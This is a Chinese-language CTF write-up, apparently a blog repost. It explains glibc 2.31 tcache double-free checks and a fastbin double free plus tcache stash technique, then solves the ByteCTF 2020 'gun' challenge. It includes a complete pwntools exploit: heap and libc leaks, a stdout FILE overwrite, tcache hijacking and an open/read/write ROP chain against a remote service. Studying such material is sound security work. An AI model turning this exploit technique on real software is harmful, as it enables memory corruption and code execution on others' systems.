glibc2.31下的新double free手法/字节跳动pwn题gun题解
作者：互联网
回顾double free手法
- 在glibc2.27之前，主要是fastbin double free：
- fastbin在free时只会检查现在释放的chunk，是不是开头的chunk，因此可以通过free(C1), free(C2), free(C1)的手法绕过
- 并在在fastbin取出时，会检查size字段是不是属于这个fastbin，因此往往需要伪造一个size
- glibc2.27~glibc2.28，主要是tcache double free
- 相较于fastbin double free，tcache完全没有任何检查，只需要free(C1), free(C1)就可以构造一个环出来
- glibc2.29～glibc2.31，tcache加入了检查机制，如何进行doubel free就是本文的核心
Tcache的设计目的
tcache全称是Thead Cache的意思
在多线程情况下，ptmalloc会遇到抢占的问题，分配区被占用时只能等待或者申请一个非主分配区，效率低下
针对这种情况，ptmalloc为每个线程设置了一个缓冲区，这个缓冲区也就是tcache
因此tcache指针实际上位于TLS区域内，是各个线程独有的
glibc2.31下的Tcache检查
对于每一个tcache中的chunk，增加了一个key指针，用于指向所属的tcache结构体
typedef struct tcache_entry
{
struct tcache_entry *next; //链表指针，对应chunk中的fd字段
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //指向所属的tcache结构体，对应chunk中的bk字段
} tcache_entry;当chunk被放入时会设置key指针
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //设置所属的tcache
e->next = tcache->entries[tc_idx];//单链表头插法
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]); //计数增加
}在free时，会进行检查，最笨的方法就是对于每一个chunk，我都遍历一遍链表，这种方法正确，但是会大大影响效率
ptmalloc使用了一种更机智的方法，在不影响效率的前提下，完成了对double free的检查，详细的看注释
size_t tc_idx = csize2tidx(size);
//只要tcache不为空，并且这个chunk属于tcache管辖范围，那么这个chunk就有可能已经在tcache中了，所以需要double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);
/*
如果是double free，那么put时key字段被设置了tcache，就会进入循环被检查出来
如果不是，那么key字段就是用户数据区域，可以视为随机的，只有1/(2^size_t)的可能行进入循环，然后循环发现并不是double free
*/
if (__glibc_unlikely(e->key == tcache))//剪枝
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查，放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
}这些检查导致我们不能free任何一个已经在tcache中的chunk，绕过的方法有两个：
- 想办法修改key字段
- 使用fastbin double free
Tcache的Stash机制
例如，当一个线程申请0x50大小的chunk时，如果tcache没有，那么就会进入分配区进行处理，
如果对应bin中存在0x50的chunk，除了取出并返回之外，ptmalloc会认为这个线程在将来还需要相同的大小的chunk
因此就会把对应bin中0x50的chunk尽可能的放入tcache的链表中去，本文只涉及fastbin Stash的利用，对于small bin有专门的手法，可以参考这个文章：Tcache Stashing Unlink Attack Plus
if ((unsigned long)(nb) <= (unsigned long)(get_max_fast())) //size在fastbin范围内
{
idx = fastbin_index(nb);
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL) //如果有chunk
{
if (SINGLE_THREAD_P)
*fb = victim->fd; //取出头chunk
else
REMOVE_FB(fb, pp, victim);
if (__glibc_likely(victim != NULL))
{
size_t victim_idx = fastbin_index(chunksize(victim));
if (__builtin_expect(victim_idx != idx, 0)) //对fastbin的size检查
malloc_printerr("malloc(): memory corruption (fast)");
check_remalloced_chunk(av, victim, nb);
#if 1 //if USE_TCACHE，Stash过程：把剩下的放入Tcache中
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins) //如果属于tcache管辖范围
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) //只要tcache没空，并且fastbin还有chunk
{
if (SINGLE_THREAD_P) //那么就从fastbin中取出
*fb = tc_victim->fd;
else
{
REMOVE_FB(fb, pp, tc_victim);
if (__glibc_unlikely(tc_victim == NULL))
break;
}
tcache_put(tc_victim, tc_idx);//然后放入tcache中
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}当fastbin double free遇上Tcache Stash
在glibc2.31的环境下，假如现在有个double free，由于Tcache有检查，因此只能利用fastbin double free：
那么首先需要先释放7个chunk，填满tcache，然后free(C7) Free(C8) Free(C7)，在fastbin中构造出环，如下：
下一步，为了分配到fastbin，需要先申请7个，让Tcache为空，再次申请时就会使用fastbin中的C7，这一步就也就整个手法的精华
在glibc2.7以前，申请到C7，并在C7的fd字段写入target后，链表为：fastbin->C8->C7->target
但由于fastbin取出时检查size字段，导致这个写入很受限制，但在有了stash机制后，情况就变了
取出C7后，Stash会把fastbin链表中的chunk全部放入Tcache中，而C7又是被我们分配到的，这就导致我们实际上劫持的是Tcache链表，不需要伪造size字段，获得了一个真正的任意写
总结来说，在glibc>=2.29的情况下，通过fastbin double free，接触Stash机制，我们可以劫持Tcache链表，得到一个真正的任意写，我将其成为new fastbin double free手法
Bytectf2020-pwn-gun
保护
只能ROP了
程序分析
- Buy
- idx属于[0, 13]，根据标志位为0来寻找空闲的idx
- 读入price：大于0x10，小于Remain，Remain初始化为0x1000
- ArrPtr[3*idx] = malloc(price)，并读入price长度字符串，以\n为结束标志
- ArrUsed后，Remain-=Price
- Load
- 读入idx，属于[0, 13]
- 检查Bullet的状态，不为0/2
- 使用头插法，将对于bullet连接进入链表Head
- 设置bullet的状态为2，表示已经在链表中
- 结构体
struct Bullet{
char* name;
Bullet* next;
int status; //0:没准备好，1:准备好，2:已经在链表中
};
sizeof(Bullet) = 0x18
- Shoot
- 先检查链表是否为空
- 读入要发射的子弹
- 从链表头开始遍历：只要Head不为空&&i小于要发射的子弹数，
- 那么就print子弹的name，然后释放free这个子弹
- Head = Head->next
- 设置子弹的status = 0
漏洞
很隐蔽的UAF导致的double free
在买子弹的时候，并没有设置next为null
装载时，也没设置next为null
在最后发射时，是否进行free却依赖next!=null这个条件
如果申请后next有残留，那么就会导致一个意外的free
POC
思路
- 先利用指针残留，泄露堆地址+libc地址
- 通过new fastbin double 得到一个任意写，为了扩大战果，这个任意写用来打堆上的tcache结构体最划算
- 劫持tcache中的entries链表头指针数组，一个指向_IO_2_1_stdout，另一个为了继续获得任意写，指向tcache结构自身
- 打stdout，修改flag为0xFBAD1800，修改write的三个指针指向libc中的__envrion指针，从而实现任意读取，泄露栈地址
- 通过另一个指向tcache自身的entries项，让tcache指向栈上的返回地址
- 进行ROP
注意，判断是否使用tcache entries进行分配时，是通过counts数组判断的，所以劫持前需要先free几个，设置好counts
if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0) //通过counts判读是否还有chunk
{
return tcache_get(tc_idx);
}EXP
#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#sh = process('./gun')
#proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
sh = remote('123.56.96.75', 30772)
elf = ELF('./gun')
libc = ELF('./libc.so.6')
def Log(val):
log.success('%s = %s'%(str(val), hex(eval(val))))
def Name(name):
sh.recvuntil('name')
sh.sendline(name)
def Cmd(i):
sh.recvuntil('Action> ')
sh.sendline(str(i))
def Buy(sz, cont):
Cmd(3)
sh.sendlineafter('Bullet price: ', str(sz))
sh.recvuntil('Bullet Name: ')
sh.send(cont)
#sh.recvuntil('Confirm')
def Load(idxs):
for idx in idxs:
Cmd(2)
sh.sendlineafter('Which one do you want to load?', str(idx))
sh.recvuntil('Confirm')
def Fire(cnt):
Cmd(1)
sh.sendlineafter('Shoot time: ', str(cnt))
def Exit():
Cmd(4)
Name('AAA')
#leak addr
for i in range(8):
Buy(0x79, 'leak addr\n') #chunk size: 0x90
Buy(0x10, 'gap\n') #gap
Load([7, 6, 5, 4, 3, 2, 1, 0])
Fire(8) #Tcache[0x90]->6->5->4->3->2->1->0, UB<=>7
for i in range(7):
Buy(0x79, '\n')
Buy(0x10, '\n') #splite UB
Load([0, 1, 2, 3, 4, 5, 6, 7])
Fire(8)
sh.recvuntil('Pwn! The ')
libc.address = u64(sh.recv(6)+'\x00\x00') - 0x1ebc60
Log('libc.address')
sh.recvuntil('Pwn! The ')
sh.recvuntil('Pwn! The ')
heap_addr = u64(sh.recv(6)+'\x00\x00') - 0x2d0
Log('heap_addr')
#Load([8]) #clean PtrArr
#Fire(1)
#overwrite stdout's flag
for i in range(8):
Buy(0x10, str(i)*0x10) #0x20 chunk
Load([3]) #UB will remain a 0x30 chunk for us, exclude it
Fire(1)
Buy(0x10, '3'*0x10) #0x20 chunk
Load([8, 7, 6, 5, 4, 3, 2]) #full Tcache[0x20]
Fire(7)
Load([0, 1])
Fire(2) #fastbin->0->1
Buy(0x10, 'A'*0x10)
Load([0])
Fire(2) #fastbin->1<->0, bullet is empty
Buy(0x2C0, 'tcache'+'\n')
Load([0])
Fire(1)
Buy(0x90, 'tcache'+'\n')
Load([0])
Fire(1)
for i in range(7): #clean Tcache[0x20]
Buy(0x10, str(i)*0x10)
target = heap_addr + 0xc8 #target = &tcache->next[0x90]
Log('target')
stdout = libc.address + 0x1ec6A0
Log('stdout')
env = libc.symbols['__environ']
Log('env')
Buy(0x10, p64(target)+'\n') #ArrPtr[7]=C1 Stash: Tcache->0->1->target
Buy(0x10, 'flag1'+'\n') #ArrPtr[8]=C0 Tcache->1->target
Buy(0x10, 'flag2'+'\n') #ArrPtr[9]=C1 Tcache->target
Buy(0x10, flat(stdout, heap_addr+0x1e8)) #ArrPtr[10]=stdout Tcache[0x90]->stdout, Tcache[0xA0]->&tcache->next[0x2D0]
FILE = p64(0xFBAD1800) #magic
FILE+= p64(0)*3 #read
FILE+= p64(env)+p64(env+8)*2 #write
Buy(0x80, FILE+'\n')
stack_addr = u64(sh.recv(8))
Log('stack_addr')
ret = stack_addr - 0x120
Log('ret')
Buy(0x90, p64(ret)+'\n') #tcache->next[0x310] = ret
def Call(SYS_n, a, b, c):
exp = p64(libc.address + 0x26b72) #rdi
exp+= p64(a)
exp+= p64(libc.address + 0x27529) #rsi
exp+= p64(b)
exp+= p64(libc.address + 0x11c371) #rdx
exp+= p64(c) + p64(0)
exp+= p64(libc.address + 0x4a550) #rax
exp+= p64(SYS_n)
exp+= p64(libc.address + 0x11BB09) #syscall
return exp
buf = heap_addr+ 0x1000
ROP = Call(0, 0, buf, 0x10) #read(0, buf, 0x10)
ROP+= Call(2, buf, 0, 0) #open(buf, 0, 0)
ROP+= Call(0, 3, buf, 0x50) #read(3, buf, 0x50)
ROP+= Call(1, 1, buf, 0x50) #write(1, buf, 0x50)
#gdb.attach(sh, 'break *'+hex(proc_base + 0x1A84))
Buy(0x2C0, ROP+'\n')
Exit()
sh.recvuntil('Goodbye!')
sh.send('flag\x00')
sh.interactive()
'''
PtrArr 0x202040
Free() break *(0x0000555555554000+0x167B)
Malloc break *(0x0000555555554000+0x18C3)
bulletname 0x555555555919
45EB0
gdb.attach(sh, 'break *'+hex(proc_base + 0x1A84))
gdb.attach(sh, 'telescope '+hex(proc_base+0x4050) + ' 44')
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https://github.com/chennbnbnb/-2020-pwn1-gun
标签：tcache,idx,glibc2.31,题解,chunk,free,sh,double,fastbin 来源： https://blog.csdn.net/chennbnbnb/article/details/109284780